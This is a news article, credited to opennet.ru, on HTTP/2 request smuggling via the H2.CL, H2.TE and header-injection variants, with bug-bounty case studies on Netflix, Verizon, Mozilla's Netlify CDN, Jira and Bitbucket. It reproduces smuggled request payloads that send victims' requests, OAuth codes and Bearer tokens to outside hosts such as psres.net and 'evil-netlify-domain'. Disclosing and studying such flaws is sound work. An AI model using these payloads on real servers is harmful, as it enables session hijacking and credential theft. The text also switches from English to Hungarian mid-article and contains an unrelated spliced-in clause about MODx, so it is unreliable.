A web system where the front end connects via HTTP/2 and communicates with the backend through HTTP/1.1 has been vulnerable to a new variation of the "HTTP Request Smuggling" attack. This allows specially crafted client requests to be injected into the content of requests from other users being processed in the same stream between the front end and the backend. The attack can be utilized to insert malicious JavaScript code into a session with a legitimate website, bypass access control systems, and intercept authentication parameters.
The issue affects web proxies, load balancers, web accelerators, content delivery systems, and other configurations where requests are redirected in a front-end to back-end scheme. The study's author demonstrated the possibility of an attack on systems such as Netflix, Verizon, Bitbucket, Netlify CDN, and Atlassian, earning $56,000 through vulnerability disclosure reward programs. The existence of the issue has also been confirmed in F5 Networks products. The problem partially affects mod_proxy in the Apache HTTP server (CVE-2021-33193), with fixes expected in version 2.4.49 (developers were notified of the issue in early May and given three months to rectify it). In nginx, the ability to simultaneously specify the "Content-Length" and "Transfer-Encoding" headers was blocked in the last release (1.21.1). Tools for conducting attacks have already been added to the Burp toolkit and are available in the form of the Turbo Intruder extension.
The principle of the new request injection method into traffic is similar to a vulnerability identified by the same researcher two years ago, but limited to front ends accepting requests over HTTP/1.1. It should be noted that in the front-end to back-end scheme, client requests are received by an additional node — the front end — which establishes a long-lived TCP connection with the backend that processes the requests directly. Through this common connection, requests from different users are typically transmitted sequentially, separated by the HTTP protocol.
A klasszikus «HTTP Request Smuggling» támadás alapja az volt, hogy a frontendek és a backendek másképp értelmezik a «Content-Length» (az adatok teljes méretét a kérésben határozza meg) és a «Transfer-Encoding: chunked» (részenkénti adatátvitelt tesz lehetővé) HTTP-fejléceket. Például, ha a frontend csak a «Content-Length»-et támogatja, de figyelmen kívül hagyja a «Transfer-Encoding: chunked»-et, a támadó olyan kérést küldhet, amelyben egyszerre szerepelnek a «Content-Length» és a «Transfer-Encoding: chunked» fejlécek, de a «Content-Length» mérete nem felel meg a chunked lánc méretének. Ebben az esetben a frontend a «Content-Length» szerint dolgozza fel és irányítja tovább a kérést, míg a backend a «Transfer-Encoding: chunked» alapján várja a blokk befejezését, és a támadó kérésének maradék része a következő, átadott kérés elején található.
A szöveges HTTP/1.1 protokollal ellentétben, amelyet sorok szintjén elemeznek, a HTTP/2 bináris protokoll, amely előre meghatározott méretű adatblokkokkal manipulál. A HTTP/2-ben álnévfejlécek vannak, amelyek megfelelnek a hagyományos HTTP-fejléceknek. Amikor a backenddel a HTTP/1.1 protokollal lép kapcsolatba, a frontend ezeket az álnévfejléceket a megfelelő HTTP/1.1 HTTP-fejlécekké alakítja. A probléma az, hogy a backend már a frontend által kiküldött HTTP-fejlécek alapján hoz döntéseket az adatfolyam elemzéséről, anélkül hogy tudomása lenne az eredeti kérés paramétereiről.
Az álnévfejlécek formájában a «content-length» és a «transfer-encoding» értékek is átadhatók, annak ellenére, hogy a HTTP/2-ben nem használják őket, mivel az összes adat mérete külön mezőben van meghatározva. Mindazonáltal, a HTTP/2 kérés HTTP/1.1-re történő átkonvertálásakor ezek a fejlécek átvitelre kerülnek, és megtéveszthetik a backendet. Két fő támadási változatot különböztetünk meg: H2.TE és H2.CL, amelyekben a backendet téves információkkal vezetik félre a transfer-encoding vagy a content-length értékével, amely nincs összhangban a HTTP/2 protokollon a frontendhez érkezett kérés testének valós méretével.
Példaként említhető az H2.CL támadás, ahol a content-length hamis mérete van megadva a HTTP/2 kérésben a Netflix felé. Ez a kérés a Content-Length hasonló HTTP fejlécet eredményezi, amikor HTTP/1.1-en kommunikál a háttérszolgáltatással, de mivel a Content-Length alacsonyabb értéket jelöl, mint a valós méret, egyes adatok a végén a következő kérés kezdeteként lesznek feldolgozva.
Például a HTTP/2 kérés: :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Ez a háttérszolgáltatásnak a következő kérését fogja küldeni: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Mivel a Content-Length értéke 4, a háttérszolgáltatás a kérés törzsét csak az 'abcd'-ra fogja értelmezni, míg a további részt 'GET /n HTTP/1.1...' a következő, egy másik felhasználóhoz kötődő kérés kezdeteként fogja feldolgozni. Ennek megfelelően a folyamat szinkronizációja megbomlik, és a következő kérésre a hamis kérés feldolgozásának eredményét adja vissza. A Netflix esetében a külső host megadása a 'Host:' fejlécben a hamis kérés során a kliens számára a következő választ adja: 'Location: https://02.rs?x.netflix.com/n', lehetővé téve a kliens számára tetszőleges tartalom továbbítását, beleértve akár saját JavaScript-kódjának végrehajtását a Netflix webhelyén.
A támadás második típusa (H2.TE) a 'Transfer-Encoding: chunked' fejléc becsúsztatásával kapcsolatos. A transfer-encoding hamis fejléc használata a HTTP/2-ben a specifikáció szerint tilos, és a vele érkező kéréseknek érvénytelennek kell lenniük. Ennek ellenére egyes frontend megvalósítások nem veszik figyelembe ezt a követelményt, és megengedik a transfer-encoding hamis fejléc használatát a HTTP/2-ben, amely átkonvertálódik a hasonló HTTP fejlécbe. Ha a 'Transfer-Encoding' fejléc jelen van, a háttérszolgáltatás ezt magasabb prioritásúnak tekintheti, és a chunked módú adatfeldolgozást hajthatja végre, különböző méretű blokkokkal a '{méret}\r\n{blokk}\r\n{méret}\r\n{blokk}\r\n0' formátumban, figyelmen kívül hagyva az eredeti összsúlyt.
Egy hasonló rés kihasználását bemutató példa a Verizon cégnél volt látható. A probléma az autentikációs portálra vonatkozott, és eredeti MODx, és több eszközt biztosít Önnek a felhasználói weboldalak és gazdag webalkalmazások létrehozásához.amelyet olyan webhelyek is használnak, mint a Huffington Post és Engadget. Például a kliens kérés HTTP/2-ben: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
HTTP/1.1 kérés backendre való átirányítása: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
A backend figyelmen kívül hagyta a "Content-Length" fejlécet, és a "Transfer-Encoding: chunked" alapján végezte el az adatfolyam felosztását. A támadás valójában lehetővé tette, hogy a felhasználók kérését a saját weboldalukra irányítsák, és ezzel együtt az OAuth-hitelesítéssel kapcsolatos kéréseket is elfogják, amelyek paraméterei a Referer fejlécben megjelentek, valamint a hitelesítési munkamenet szimulálására és a felhasználói adatok a támadó hosztjára való küldésére is lehetőséget adott. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
A HTTP/2 implementációk támadására, amelyek nem engedik meg a transfer-encoding álcafejléc megadását, egy másik módszert javasoltak, amely a "Transfer-Encoding" fejlécek más álcafejlécekhez való hozzáfűzésével állt összefüggésben, új sor karakterekkel való felosztással (HTTP/1.1-re való átalakuláskor egy ilyen esetben két külön HTTP-fejléc keletkezik).
Például a fent említett problémának ki volt téve az Atlassian Jira és a Netlify CDN (amelyet a Mozilla kezdőoldalának megjelenítésére használnak a Firefoxban). Különösen a HTTP/2 kérés :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
a HTTP/1.1 backend kérésének eljuttatása POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
A "Transfer-Encoding" fejléc álcafejlécek más nevéhez vagy a kérési módszer sorához való hozzászoktatásának egy másik változata volt. Például a Atlassian Jira esetén a "foo: bar\r\ntransfer-encoding" álcafejléc neve "chunked" értékkel azt eredményezte, hogy a "foo: bar" és a "transfer-encoding: chunked" HTTP-fejlécek kerültek hozzáadásra, míg a ":method" álcafejlécre való megadás "GET / HTTP/1.1\r\nTransfer-encoding: chunked" kimenete "GET / HTTP/1.1\r\ntransfer-encoding: chunked"-ra fordítódott.
A problémát felfedező kutató egy tunneling technikát is javasolt a frontend támadások végrehajtására, ahol minden egyes... IP address Külön kapcsolat jön létre a háttérrel, és a különböző felhasználók forgalma nem keveredik. Az ajánlott technika nem engedi meg, hogy beépüljön más felhasználók kérdéseibe, de lehetőséget biztosít a közös gyorsítótár megfertőzésére, amely befolyásolja más kérések feldolgozását, és lehetővé teszi a belső HTTP-fejlécek helyettesítését, amelyeket a frontend és a háttér közötti információk továbbításához használnak (például a frontend oldali hitelesítés során ilyen fejlécben a háttérhez átviteli adatokat adhat a jelenlegi felhasználóról). Példaként a módszer gyakorlati alkalmazásaként a gyorsítótár megfertőzésével sikerült ellenőrizni az oldalakat a Bitbucket szolgáltatásban.
Forrás: opennet.ru
